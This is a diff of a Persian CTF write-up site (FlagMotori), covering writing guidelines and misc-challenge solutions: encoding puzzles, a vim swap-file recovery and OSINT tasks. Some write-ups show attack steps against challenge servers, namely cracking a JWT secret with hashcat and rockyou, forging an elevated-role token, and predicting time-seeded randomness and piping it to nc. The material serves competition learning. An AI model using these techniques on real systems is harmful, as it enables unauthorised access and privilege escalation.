\ No newline at end of file diff --git a/getStarted/writing-method/index.html b/getStarted/writing-method/index.html index 4c014764..1b6c1b66 100644 --- a/getStarted/writing-method/index.html +++ b/getStarted/writing-method/index.html @@ -1,4 +1,4 @@ - نگارش رایتاپ - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

نگارش رایتاپ

شاید برای شما سوال شود که writeup چیست و نوشتن آن چه تاثیری خواهد داشت. writeup یا معادل فارسی آن "نگاشته یا نوشته" در دنیای امنیت، گزارشی از نحوه حل مسئله است که نویسنده گام به گام رویدادها و آزمایشات خود را برای حل یک چالش امنیتی بیان می‌کند. این گزارش علاوه بر اینکه کمک بسیاری به خوانندگان و افزایش تجربه آن‌ها در حل مسائل جدید می‌کند می‌تواند باعث افزایش درک خود نویسنده از آن چالش نیز شود.

این بخش به عنوان نکات نگارشی در رایتاپ نویسی توسط تیم پیشنهاد می‌شود تا نوشته‌ها به صورت یک شکل، منظم و استاندارد ارائه شوند. برای نگارش، نویسنده باید از فرمت ایجاد متن Markdown یا به اختصار md استفاده کند که نحوه نگارش در این فرمت همراه با عناصر آن و مثال در اینجا توضیح داده شده است. البته با خواندن چند رایتاپ قالب نوشتاری مناسب را متوجه خواهید شد. با این حال لازم است که موارد زیر را در هنگام نگارش نوشته‌ی خود لحاظ کنید:

  • نیاز نیست نحوه بیان رایتاپ حتما شکلی رسمی مانند مقالات علمی داشته باشد. شما می‌توانید از بیانی دوستانه و صمیمی برای نگارش رایتاپ خود استفاده کنید.
  • نویسنده باید قوانین مربوط به سرقت ادبی را رعایت کند. در غیر این صورت عواقب آن متوجه خود نویسنده خواهد بود.
  • محدودیتی در طول و حجم رایتاپ وجود ندارد.
  • سعی کنید نوشته‌ای کامل و گام‌به‌گام را ارائه دهید تا خواننده بتواند مراحل حل چالش راحت‌تر درک کند.
  • استفاده از تصاویر و جداول می تواند به درک خواننده از مراحل حل چالش کمک بسیاری کند.
  • برچسب گذاری (Tag) رایتاب بسیار مهم است و توصیه می‌شود که برچسب‌ها را به ترتیب از مفهوم کلان‌تر به کوچک‌تر قرار دهید. همچنین برچسب برای نام مسابقه CTF و سال آن مسابقه در نظر بگیرید. به عنوان نمونه:

~~~~~~ primes ،Factorization ،RSA ،Crypto ،ASIS-2023 ،ASIS-CTF

  • عنوان رایتاپ را براساس نام چالش انتخاب کنید.
  • نام نویسنده را در انتهای رایتاپ به عنوان یک یادداشت قرار داده شود.

\ No newline at end of file +-->

نگارش رایتاپ

شاید برای شما سوال شود که writeup چیست و نوشتن آن چه تاثیری خواهد داشت. writeup یا معادل فارسی آن "نگاشته یا نوشته" در دنیای امنیت، گزارشی از نحوه حل مسئله است که نویسنده گام به گام رویدادها و آزمایشات خود را برای حل یک چالش امنیتی بیان می‌کند. این گزارش علاوه بر اینکه کمک بسیاری به خوانندگان و افزایش تجربه آن‌ها در حل مسائل جدید می‌کند می‌تواند باعث افزایش درک خود نویسنده از آن چالش نیز شود.

این بخش به عنوان نکات نگارشی در رایتاپ نویسی توسط تیم پیشنهاد می‌شود تا نوشته‌ها به صورت یک شکل، منظم و استاندارد ارائه شوند. برای نگارش، نویسنده باید از فرمت ایجاد متن Markdown یا به اختصار md استفاده کند که نحوه نگارش در این فرمت همراه با عناصر آن و مثال در اینجا توضیح داده شده است. البته با خواندن چند رایتاپ قالب نوشتاری مناسب را متوجه خواهید شد. با این حال لازم است که موارد زیر را در هنگام نگارش نوشته‌ی خود لحاظ کنید:

~~~~~~ primes ،Factorization ،RSA ،Crypto ،ASIS-2023 ،ASIS-CTF


\ No newline at end of file diff --git a/index.html b/index.html index d5b33446..aee0b1ce 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ - سخن آغازین - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

سخن آغازین

به صفحه رایتاپ‌های تیم فلگ موتوری خوش آمدید. در حال حاضر، این نسخه آزمایشی صفحه رایتاپ‌های اعضا تیم است. امیدواریم که این سایت گامی هرچند اندک در جهت ارتقاء دانش و آگاهی علاقه‌مندان به حوزه امنیت سایبری در این سرزمین باشد.

امروزه بسیاری از رایتاپ‌ها در حوزه امنیت اغلب به زبان انگلیسی نوشته و منتشر می‌شوند. از آنجایی که ممکن است مطالعه محتوای انگلیسی برای بسیاری از افراد دشوار باشد، تصمیم گرفتیم رایتاپ‌ها را به زبان فارسی منتشر کنیم تا مخاطبین فارسی زبان فرایند حل چالش‌های مسابقات CTF را بهتر درک کنند. ما در تیم فلگ موتوری بر این باوریم که ارائه این رایتاپ‌ها و در دسترس قرار دادن آن‌ها برای همگان، می‌تواند کمبود منابع فارسی در زمینه امنیت را تا حدی جبران کند.

علاوه بر این، کوشیدیم تا بستری جذاب را برای خواندن رایتاپ فراهم کنیم. بدین منظور امکان سفارشی‌سازی برخی قسمت‌ها در سایت تعبیه شده تا تجربه متفاوتی از مطالعه رایتاپ بر اساس سلیقه شخصی خود شکل دهید. برای شخصی‌سازی سایت می‌توانید به این صفحه بروید.

\ No newline at end of file +-->

سخن آغازین

به صفحه رایتاپ‌های تیم فلگ موتوری خوش آمدید. در حال حاضر، این نسخه آزمایشی صفحه رایتاپ‌های اعضا تیم است. امیدواریم که این سایت گامی هرچند اندک در جهت ارتقاء دانش و آگاهی علاقه‌مندان به حوزه امنیت سایبری در این سرزمین باشد.

امروزه بسیاری از رایتاپ‌ها در حوزه امنیت اغلب به زبان انگلیسی نوشته و منتشر می‌شوند. از آنجایی که ممکن است مطالعه محتوای انگلیسی برای بسیاری از افراد دشوار باشد، تصمیم گرفتیم رایتاپ‌ها را به زبان فارسی منتشر کنیم تا مخاطبین فارسی زبان فرایند حل چالش‌های مسابقات CTF را بهتر درک کنند. ما در تیم فلگ موتوری بر این باوریم که ارائه این رایتاپ‌ها و در دسترس قرار دادن آن‌ها برای همگان، می‌تواند کمبود منابع فارسی در زمینه امنیت را تا حدی جبران کند.

علاوه بر این، کوشیدیم تا بستری جذاب را برای خواندن رایتاپ فراهم کنیم. بدین منظور امکان سفارشی‌سازی برخی قسمت‌ها در سایت تعبیه شده تا تجربه متفاوتی از مطالعه رایتاپ بر اساس سلیقه شخصی خود شکل دهید. برای شخصی‌سازی سایت می‌توانید به این صفحه بروید.

\ No newline at end of file diff --git a/misc/Tools/index.html b/misc/Tools/index.html index e43b0a71..5817b567 100644 --- a/misc/Tools/index.html +++ b/misc/Tools/index.html @@ -1,4 +1,4 @@ - ابزار متفرقه - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups
\ No newline at end of file +-->

ابزار متفرقه

Steganography

\ No newline at end of file diff --git a/misc/index.html b/misc/index.html index d34a03e4..f23719e5 100644 --- a/misc/index.html +++ b/misc/index.html @@ -1,4 +1,4 @@ - متفرقه - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

متفرقه

متفرقه؟

یعنی چی؟ 😂

هر چلنجی که یکم از دسته بندی های مرسوم دور باشه، یا ترکیبی از چند تا دسته بندی باشه اینجا قرار میگیره و ما هم که بهشون رحم نمیکنیم 😎

تو این دسته باید انتظار همه چیز رو داشته باشیم از ریورس بگیر تا کریپتو از استگانوگرافی بگیر تا شبکه

ولی خوب چون یکم از دسته بندی های اصلی دور شدن، راحت تر میشه حلشون کرد اما خوب ترکیبین

ابزار خاصی نمیشه معرفی کرد براشون

یا حداقل ابزاری که تو بقیه زمینه ها استفاده میشن (و تو همین بلاگ بهشون اشاره شده) رو باید اینجا به کار گرفت بعلاوه یه چند تا ابزار که برای استگانوگرافی و یه چند تا زمینه دیگه استفاده میشن

\ No newline at end of file +-->

متفرقه

متفرقه؟

یعنی چی؟ 😂

هر چلنجی که یکم از دسته بندی های مرسوم دور باشه، یا ترکیبی از چند تا دسته بندی باشه اینجا قرار میگیره و ما هم که بهشون رحم نمیکنیم 😎

تو این دسته باید انتظار همه چیز رو داشته باشیم از ریورس بگیر تا کریپتو از استگانوگرافی بگیر تا شبکه

ولی خوب چون یکم از دسته بندی های اصلی دور شدن، راحت تر میشه حلشون کرد اما خوب ترکیبین

ابزار خاصی نمیشه معرفی کرد براشون

یا حداقل ابزاری که تو بقیه زمینه ها استفاده میشن (و تو همین بلاگ بهشون اشاره شده) رو باید اینجا به کار گرفت بعلاوه یه چند تا ابزار که برای استگانوگرافی و یه چند تا زمینه دیگه استفاده میشن

\ No newline at end of file diff --git a/misc/writeups/BackdoorCTF/Fruit-Basket/index.html b/misc/writeups/BackdoorCTF/Fruit-Basket/index.html index 0b121499..f06ee0e6 100644 --- a/misc/writeups/BackdoorCTF/Fruit-Basket/index.html +++ b/misc/writeups/BackdoorCTF/Fruit-Basket/index.html @@ -1,4 +1,4 @@ - Fruit Basket - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Fruit Basket

آرشیو چلنج

 1
@@ -51,4 +51,4 @@
     return 0;
 }
 
این کد که از رو سورس چلنج دراومده رو کامپایل میکنیم و چون سید رندوم روی تایم ست شده، رندوم های سمت سرور و کلاینت برابر ان

با دستور زیر اجرا میکنیم و به nc پایپ میکنیم

./main|nc 34.70.212.151 8006
-


نویسنده

SafaSafari

\ No newline at end of file +


نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/BackdoorCTF/Secret-of-Kurama/index.html b/misc/writeups/BackdoorCTF/Secret-of-Kurama/index.html index 6385c924..391b062d 100644 --- a/misc/writeups/BackdoorCTF/Secret-of-Kurama/index.html +++ b/misc/writeups/BackdoorCTF/Secret-of-Kurama/index.html @@ -1,4 +1,4 @@ - Secret of Kurama - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Secret of Kurama

اول کار jwt که بهمون داده رو با hashcat میزنیم رو کرک با پسورد لیست rockyou

hashcat eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ -m 16500 -w 2 rockyou.txt
@@ -6,4 +6,4 @@
     "username": "Naruto",
     "role": "NineTails"
 }
-
بعد این جیسون رو با کد jwt ساین میکنیم و میفرستیم سمت سرور

نویسنده

SafaSafari

\ No newline at end of file +
بعد این جیسون رو با کد jwt ساین میکنیم و میفرستیم سمت سرور

نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/DUCTF/intercept/index.html b/misc/writeups/DUCTF/intercept/index.html index be6818b2..fd0587fa 100644 --- a/misc/writeups/DUCTF/intercept/index.html +++ b/misc/writeups/DUCTF/intercept/index.html @@ -1,4 +1,4 @@ - چالش Intercepted Transmissions - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Intercepted Transmissions


challenge cover.png

فایل تکست ضمیمه‌شده به چالش شامل یکسری صفر و یک متوالی هست. با توجه به توضیح سوال، هینتی که وجود داره اینه که این رشته احتمالا با استفاده از روش CCIR476 که یک انکدینگ قدیمی برای انتقال داده‌ها در ارتباطات رادیویی با قابلیت تشخیص و اصلاح خطاهای یک بیتی هست کد شده. برای آشنایی بیشتر با این روش کد کردن و چگونگی نوشتن کد انکودر و دیکودر، می‌تونین از لینک ۱ و لینک ۲ و لینک ۳ استفاده کنید.

یک اسکریپت پایتون می‌نویسیم که طبق اون لینک‌های مرجع هندل کنه دیکود کردن این رشته باینری رو به صورت بلاک‌های ۵ بیتی.

class CCIR476:
@@ -55,4 +55,4 @@
 binary_string = "101101001101101101001110100110110101110100110100101101101010110101110010110100101110100111001101100101101101101000111100011110011011010101011001011101101010010111011100100011110101010110110101011010111001011010110100101101101010110101101011001011010011101110001101100101110101101010110011011100001101101101101010101101101000111010110110010111010110101100101100110111101000101011101110001101101101001010111001011101110001010111001011100011011"
 decoded_message = ccir476_decode(binary_string)
 print(decoded_message)
-

فلگ زیر پس از اجرای کد به نمایش در می‌آید.


FLAG 🚩

DUCTF{##TH3 QU0KK4'S AR3 H3LD 1N F4C1LITY #11911!}

نویسنده

Sadegh

\ No newline at end of file +

فلگ زیر پس از اجرای کد به نمایش در می‌آید.


FLAG 🚩

DUCTF{##TH3 QU0KK4'S AR3 H3LD 1N F4C1LITY #11911!}

نویسنده

Sadegh

\ No newline at end of file diff --git a/misc/writeups/DUCTF/recipe/index.html b/misc/writeups/DUCTF/recipe/index.html index 8afd728a..a6b6bd71 100644 --- a/misc/writeups/DUCTF/recipe/index.html +++ b/misc/writeups/DUCTF/recipe/index.html @@ -1,4 +1,4 @@ - چالش Wacky Recipe - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Wacky Recipe


challenge cover.png

فایل تکست ضمیمه‌شده به چالش یک متن با فرمت یک دستور آماده کردن غذا به نظر میاد در نگاه اول. بعد از اینکه نشد یک الگوی مناسب از داخل این دستور پیدا کنیم، سراغ سرچ توی گوگل میریم.

Chicken Parmi.
@@ -50,4 +50,4 @@
 .
 .
 .
-

بعد از کمی سرچ متوجه می‌شیم که Chef یک زبان برنامه‌نویسی esoteric هست که با وجود این شکل عجیب غریبش حتی تورینگ-کامپلت هم هست و اساس کارش داده‌ساختار استک هست. میتونید برای مطالعه بیشتر به این لینک مراجعه کنید. قبل از اینکه بتونیم رانش کنیم باید دو مقدار pain و effort رو به جای علامت سوال با مقدار عددی درست جایگزین کنیم. میشه بروت‌فورس کرد اما کار هوشمندانه‌تر اینه که چون بر اساس استک هست و عملیات‌های استفاده‌شده روی متغیر‌ها هم همشون خطی هستند و ما دو حرف اول فلگ یعنی D و U رو می‌دونیم، یک دو معادله و دو مجهول تشکیل بدیم و مقادیر مناسب مجهولات رو پیدا کنیم که به ترتیب pain مقدار ۲۷ و effort مقدار ۲۱ داره. نهایتا بعد از جایگذاری این مقادیر در کد اصلی و ران کردنش به صورت آنلاین حروف فلگ قابل مشاهده است.

challenge cover.png


FLAG 🚩

DUCTF{2tsp_Vegemite}

نویسنده

Sadegh

\ No newline at end of file +

بعد از کمی سرچ متوجه می‌شیم که Chef یک زبان برنامه‌نویسی esoteric هست که با وجود این شکل عجیب غریبش حتی تورینگ-کامپلت هم هست و اساس کارش داده‌ساختار استک هست. میتونید برای مطالعه بیشتر به این لینک مراجعه کنید. قبل از اینکه بتونیم رانش کنیم باید دو مقدار pain و effort رو به جای علامت سوال با مقدار عددی درست جایگزین کنیم. میشه بروت‌فورس کرد اما کار هوشمندانه‌تر اینه که چون بر اساس استک هست و عملیات‌های استفاده‌شده روی متغیر‌ها هم همشون خطی هستند و ما دو حرف اول فلگ یعنی D و U رو می‌دونیم، یک دو معادله و دو مجهول تشکیل بدیم و مقادیر مناسب مجهولات رو پیدا کنیم که به ترتیب pain مقدار ۲۷ و effort مقدار ۲۱ داره. نهایتا بعد از جایگذاری این مقادیر در کد اصلی و ران کردنش به صورت آنلاین حروف فلگ قابل مشاهده است.

challenge cover.png


FLAG 🚩

DUCTF{2tsp_Vegemite}

نویسنده

Sadegh

\ No newline at end of file diff --git a/misc/writeups/OSCTF/captured_data/index.html b/misc/writeups/OSCTF/captured_data/index.html index eb005b7a..98ce1b5e 100644 --- a/misc/writeups/OSCTF/captured_data/index.html +++ b/misc/writeups/OSCTF/captured_data/index.html @@ -1,4 +1,4 @@ - چالش Captured Data - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Captured Data


challenge cover.png

فایل اکسل ضمیمه چلنج رو که باز می‌کنیم، می‌بینیم که در ستون اول یکسری زمان متوالی، در ستون دوم حروف a, b, c, d, e, f در گروه‌های دوتایی و شش‌تایی و در ستون سوم در برخی از سطر‌ها DP نوشته شده. در نگاه اول شاید چیز آشنایی به چشم نیاد.

captured_data_1

با سرچ کردن abcdef DP در گوگل میفهمیم که این‌ها در واقع pinout های یک مدار 7segment هستند که همون مدار نمایش ارقام دهدهی دیجیتال هستند و در واقع با توجه به اینکه هر pin مسئول روشن‌کردن کدام بخش هست میفهمیم که توالی abcdef عدد 0 و توالی bc عدد ۱ و DP یک نقطه را نشان می‌دهد.

captured_data_2

یک اسکریپت پایتون می‌نویسیم که این اکسل را به یکسری صفر و یک متوالی تبدیل کند. سپس با بررسی ۸ بیت اول و ۸ بیت دوم مشاهده می‌کنیم که در واقع هر ۸ بیت کد اسکی یک حرف از فلگ را نشان می‌دهد. بنابراین بعد از تجزیه ۸ بیتی و تبدیل به حروف اسکی، به فلگ نهایی می‌رسیم.

import pandas as pd
@@ -25,4 +25,4 @@
 ascii_text = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8))
 
 print("Flag:", ascii_text)
-

فلگ زیر پس از اجرای کد به نمایش در می‌آید.


FLAG 🚩

OSCTF{1nf0_d1spl4c3d}

نویسنده

Sadegh

\ No newline at end of file +

فلگ زیر پس از اجرای کد به نمایش در می‌آید.


FLAG 🚩

OSCTF{1nf0_d1spl4c3d}

نویسنده

Sadegh

\ No newline at end of file diff --git a/misc/writeups/PingCTF/internet-cat/index.html b/misc/writeups/PingCTF/internet-cat/index.html index 327a3ff7..9a616a07 100644 --- a/misc/writeups/PingCTF/internet-cat/index.html +++ b/misc/writeups/PingCTF/internet-cat/index.html @@ -1,6 +1,6 @@ - Internet cat - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Internet cat

Challenge :

aHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90b21lazc2NjcvOTIzOTNhNTkyMDdkOTEzNzlmOWVlODc4NTg3OGI5OGIvcmF3LzNiNTM1NzJjMzQ0NTY0ZjMyMTE5NjA5MmMzMzg2M2EzODVjMTM2M2QvZ2lzdGZpbGUxLnR4dA==
 

Solve :

base64 in binary file -> gist file -> revisions -> octal (\n) -> base64 -> hex -> base58 -> png -> qr code -> privatebin -> base64 -> zip -> password crack (billabong) -> extract with 7z
-

نویسنده

SafaSafari

\ No newline at end of file +

نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/PingCTF/ping-arcade/index.html b/misc/writeups/PingCTF/ping-arcade/index.html index 737605c0..d1d231b5 100644 --- a/misc/writeups/PingCTF/ping-arcade/index.html +++ b/misc/writeups/PingCTF/ping-arcade/index.html @@ -1,4 +1,4 @@ - Ping arcade - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups
\ No newline at end of file +

نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/PingCTF/wow/index.html b/misc/writeups/PingCTF/wow/index.html index c2361170..d2aa42de 100644 --- a/misc/writeups/PingCTF/wow/index.html +++ b/misc/writeups/PingCTF/wow/index.html @@ -1,4 +1,4 @@ - Wow - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Wow

آرشیو چلنج

به محض وصل شدن به سرور یه تعداد رندوم به سمت ما ارسال میشه که میتونیم با اون رندوم ها سید رو تشخیص بدیم و ادامه ماجرا =))

 1
@@ -110,4 +110,4 @@
         balance -= 1
 
 print(a.clean(2))
-

نویسنده

SafaSafari

\ No newline at end of file +

نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/PingCTF/you-spin-me-round/index.html b/misc/writeups/PingCTF/you-spin-me-round/index.html index 4528da83..7046b975 100644 --- a/misc/writeups/PingCTF/you-spin-me-round/index.html +++ b/misc/writeups/PingCTF/you-spin-me-round/index.html @@ -1,4 +1,4 @@ - You spin me round - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

You spin me round

آرشیو چلنج

اینم مثل قبلی، یه تعداد beep و boop دریافت میکنیم و میتونیم سید رو تشخیص بدیم

 1
@@ -88,4 +88,4 @@
     p.sendline(eval(f"task{t}()"))
 
 print(p.clean(2))
-

نویسنده

SafaSafari

\ No newline at end of file +

نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/SnappCTF/SnappOsint/index.html b/misc/writeups/SnappCTF/SnappOsint/index.html index 9b145604..6ac7faa4 100644 --- a/misc/writeups/SnappCTF/SnappOsint/index.html +++ b/misc/writeups/SnappCTF/SnappOsint/index.html @@ -1,5 +1,5 @@ - Osint Challenges - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش‌های Osint

چالش SNAPP Saving

این چالش یکی از چالش‌های موجود در دسته OSINT در مسابقه SNAPP CTF 2024 و با سطح دشواری ساده بود. هدف از این چالش پیدا کردن یکی از سرویس‌های ارائه شده توسط اسنپ هست که کاربران با استفاده از اون می‌تونند تا 250 هزار تومان رو در ماه ذخیره کنند.

snapp saving.PNG

Info

برای حل این چالش از اپلیکیشن اندروید اسنپ استفاده شده است.

دلیل استفاده از اپلیکیشن اندروید اسنپ این هست که تمام سرویس‌های ارائه شده توسط اسنپ به صورت دسته بندی شده در این اپلیکیشن به همراه توضیحات مربوط به هر سرویس وجود دارند و این موضوع پیدا کردن سرویس مورد نظر رو ساده تر میکنه. ابتدا به ترتیب سرویس‌های مختلف که بیشترین ارتباط رو با توضیحات چالش دارند بررسی می‌کنیم. معیار ما این هست که هر سرویسی که به کاربر تخفیف ارائه میده یا امکان پرداخت اعتباری رو برای کاربر فراهم میکنه میتونه جواب ما باشه چون تمام این سرویس‌ها به کاربر اجازه میدن که مبلغی رو در ماه ذخیره کنند.

1- سرویس پرداخت اعتباری اسنپ (به دلیل امکان پرداخت مبلغ سفر در پایان ماه تا سقف 200 هزار تومان) 2- سرویس اسنپ کلاب (به دلیل ارائه کد‌های تخفیف) 3- سرویس رزرو هتل و بلیت اسنپ (به دلیل کد‌های تخفیف 25 هزار تومانی که به توضیحات چالش شباهت دارد)

نتیجه بررسی این سرویس ها این بود که هیچ کدام پاسخ چالش نبودند.

درا ین مرحله یک سوال به وجود اومد و اون هم این بود که اگر اسامی اصلی سرویس‌ها اون چیزی که حدس میزنیم نباشند چی؟ برای همین و برای ایجاد اطمینان علاوه بر اسم سرویس‌‌های مربوطه که ممکن هست جواب باشند، درخواست‌های ارسال شده از سمت اون‌ها رو با استفاده از ابزار BurpSuite شنود کردیم تا نام دقیق سرویس ها رو از روی API های مربوطه تشخیص بدیم. اما متاسفانه در نهایت این کار هم نتیجه‌ای نداشت.

بعد از این مرحله متوجه شدم که نسخه اپلیکیشن اسنپ که در حال استفاده از اون بودم منطبق با آخرین به ‌روز رسانی نیست. از اینجا حدسی که به وجود اومد این بود که شاید در آپدیت‌های اخیر، سرویس جدیدی به برنامه اضافه شده که در نسخه‌ فعلی وجود نداره و بنابراین برنامه به آخرین نسخه به روز رسانی شد.

snapp.jpg

همونطور که در تصویر مشخص هست، بعد از به روز رسانی اپلیکیشن اندروید اسنپ یک سرویس جدید با نام اسنپ پرو به برنامه اضافه شده و با تگ جدید مشخص شده. برای اطلاع از مشخصات این سرویس جدید با سرچ اسم اون در گوگل به صفحه مربوط به این سرویس در سایت اسنپ با این آدرس میرسیم.

SP1.PNG

همونطور که در تصویر دیده می‌شه، در بخش ابتدایی این صفحه توضیحاتی در رابطه با سرویس اسنپ پرو داده شده. به عبارات اشتراک و تخفیف در متن ارائه شده دقت کنید. از این دو عبارت این نکته برداشت میشه که کاربران با استفاده از این سرویس قادر هستند مبلغی رو در ماه ذخیره کنند. برای آشنایی بیشتر با این سرویس مقداری به پایین صفحه اسکرول می‌کنیم و در بخش میانی سایت توضیحات جالی رو در رابطه با سرویس اسنپ پرو مشاهده میکنیم.

SP2.PNG

همونطور که در تصویر مشخص هست، در بخشی از توضیحات ارائه شده گفته شده که با فعال سازی این سرویس امکان استفاده از 25 هزار تومان تخفیف برای هر ارسال در طول مدت اشتراک وجود دارد. عبارت 25 هزار تومان آشنا نیست؟ در توضیحات چالش گفته شده بود که سرویس مورد نظر امکان ذخیره مبلغ 250 هزار تومان رو در اختیار کاربران قرار میده. این دو مقدار به هم شبیه هستند و حدسی که اینجا به وجود میاد این هست که شاید در توضیحات چالش قصد طراح این بوده که مبلغ رو یه صورت ریال بنویسه و نه تومان و در واقع ما دنبال مبلغ 25 هزار تومان میگردیم. علاوه بر اون با توجه به اینکه این سرویس به تازگی به اسنپ اضافه شده ممکن هست که این چالش یک جنبه تبلیغاتی برای معرفی این سرویس هم داشته باشه پس حدس بر این هست که نام این سرویس ممکنه جواب چالش باشه.

و دقیقا درست حدس زدیم! عبارت SNAPPPRO همون فلگ هست.

FLAG 🚩

SNAPP{SNAPPPRO}


Info

نکته‌ای که در رایتاپ به اون اشاره شد و در آخر درست بود این هست که گویا هدف طراح  در توضیحات چالش نوشتن عبارت  25 هزار تومان بوده که به اشتباه 250 هزار تومان عنوان شده.
-

نویسنده

EnZ404


چالش SNAPP Customer

snapp customer.png

برای این چالش ما با یک جستجو در اینترنت به لینک گزارش عملکرد سال 1401 اسنپ رسیدیم که مجموعه ای از اطلاعات مربوط به این شرکت در آن بود. برای این چالش که از ما تعداد کارمندان، تعداد کل کاربران سوپراپ اسنپ و تعداد آیتم‌های غذا در بزرگترین سفارش غذا را از ما خواسته بود از همین لینک بدست آوردیم.

superapp-user.png

FLAG 🚩

SNAPP{6561-62394971-520}

نویسنده

HIGHer


چالش SNAPP Records

snapprecord.png

برای این چالش هم می توانیم با استفاده از همان گزارش عملکرد سالانه اسنپ به میزان رکورد تراکنش اسنپ‌پی و تعداد سفرهای روزانه با اسنپ برسیم.

recordtripSnapppey.png

FLAG 🚩

SNAPP{4132512-257520}

نویسنده

HIGHer


چالش SNAPP Bounties

Snapp-Bounties

در این چالش نیز نیاز به بررسی اخبار اخیر مربوط به افزایش پاداش های برنامه باگ بانتی اسنپ بود

که فلگ به این صورت ساخته میشود

FLAG 🚩

SNAPP{80-36}

نویسنده

HIGHer

\ No newline at end of file +

نویسنده

EnZ404


چالش SNAPP Customer

snapp customer.png

برای این چالش ما با یک جستجو در اینترنت به لینک گزارش عملکرد سال 1401 اسنپ رسیدیم که مجموعه ای از اطلاعات مربوط به این شرکت در آن بود. برای این چالش که از ما تعداد کارمندان، تعداد کل کاربران سوپراپ اسنپ و تعداد آیتم‌های غذا در بزرگترین سفارش غذا را از ما خواسته بود از همین لینک بدست آوردیم.

superapp-user.png

FLAG 🚩

SNAPP{6561-62394971-520}

نویسنده

HIGHer


چالش SNAPP Records

snapprecord.png

برای این چالش هم می توانیم با استفاده از همان گزارش عملکرد سالانه اسنپ به میزان رکورد تراکنش اسنپ‌پی و تعداد سفرهای روزانه با اسنپ برسیم.

recordtripSnapppey.png

FLAG 🚩

SNAPP{4132512-257520}

نویسنده

HIGHer


چالش SNAPP Bounties

Snapp-Bounties

در این چالش نیز نیاز به بررسی اخبار اخیر مربوط به افزایش پاداش های برنامه باگ بانتی اسنپ بود

که فلگ به این صورت ساخته میشود

FLAG 🚩

SNAPP{80-36}

نویسنده

HIGHer

\ No newline at end of file diff --git a/misc/writeups/SnappCTF/bandy/index.html b/misc/writeups/SnappCTF/bandy/index.html index d1a7f6b9..e2f0d17c 100644 --- a/misc/writeups/SnappCTF/bandy/index.html +++ b/misc/writeups/SnappCTF/bandy/index.html @@ -1,6 +1,6 @@ - Bandy - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Bandy

Challenge

از من به شما نصیحت هرجا vim دیدید، برید سمت swp فایل ها =))

Bless

Bless

طبق تصویری که توسط برنامه bless نشان داده شده، میبینیم که قسمت مجیک بایت دو فایل با هم فرق داره

بعد از سر و کله زدن های فراوون برای تغییر فرمت و مسیر فایل ها توسط من و وحید جان و ناکامی در این زمینه، نیما جان بهمون گفت:

چه نیازیه کل بایت ها رو تبدیل کنیم؟

دو بایت اول کافیه!!

vim -r .bandy.swp
 

با زدن این کامند و رد کردن وارنینگی که داده، میتونیم به فایل اصلی برسیم

در این قسمت باید فایل رو سیو کنیم

با دستور

:w a.png
-

میتونیم فایل رو سیو کنیم جایی که میخوایم (نه جایی که آقای فاکتوریل زده 😂)

در آخر برای این که از فیکس کردن png زیر سیبیلی رد شیم، میتونیم از سایبرچف استفاده کنیم

CyberChef

FLAG 🚩

SNAPP{D0n7_Op3n_8!NarY_FII35_W1tH_VIM!!}


نویسنده

SafaSafari

\ No newline at end of file +

میتونیم فایل رو سیو کنیم جایی که میخوایم (نه جایی که آقای فاکتوریل زده 😂)

در آخر برای این که از فیکس کردن png زیر سیبیلی رد شیم، میتونیم از سایبرچف استفاده کنیم

CyberChef

FLAG 🚩

SNAPP{D0n7_Op3n_8!NarY_FII35_W1tH_VIM!!}


نویسنده

SafaSafari

\ No newline at end of file diff --git a/misc/writeups/SnappCTF/prying-eyes/index.html b/misc/writeups/SnappCTF/prying-eyes/index.html index 9a311b21..342585de 100644 --- a/misc/writeups/SnappCTF/prying-eyes/index.html +++ b/misc/writeups/SnappCTF/prying-eyes/index.html @@ -1,4 +1,4 @@ - Prying eyes - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Prying eyes

Challenge

همونطور که از توضیحات چلنج معلومه که یا باید دنبال λ (Lambda) بگردیم، یا هم دنبال یه انکدینگی چیزی به اسم (prying eyes)

که با کمی سرچ کردن میرسیم به (Unlambda)

و یه کامپایلر آنلاین براش پیدا میکنیم

Result

FLAG 🚩

SNAPP{1st:__SNAPP__theSEC&CTF}


نویسنده

SafaSafari

\ No newline at end of file +-->

Prying eyes

Challenge

همونطور که از توضیحات چلنج معلومه که یا باید دنبال λ (Lambda) بگردیم، یا هم دنبال یه انکدینگی چیزی به اسم (prying eyes)

که با کمی سرچ کردن میرسیم به (Unlambda)

و یه کامپایلر آنلاین براش پیدا میکنیم

Result

FLAG 🚩

SNAPP{1st:__SNAPP__theSEC&CTF}


نویسنده

SafaSafari

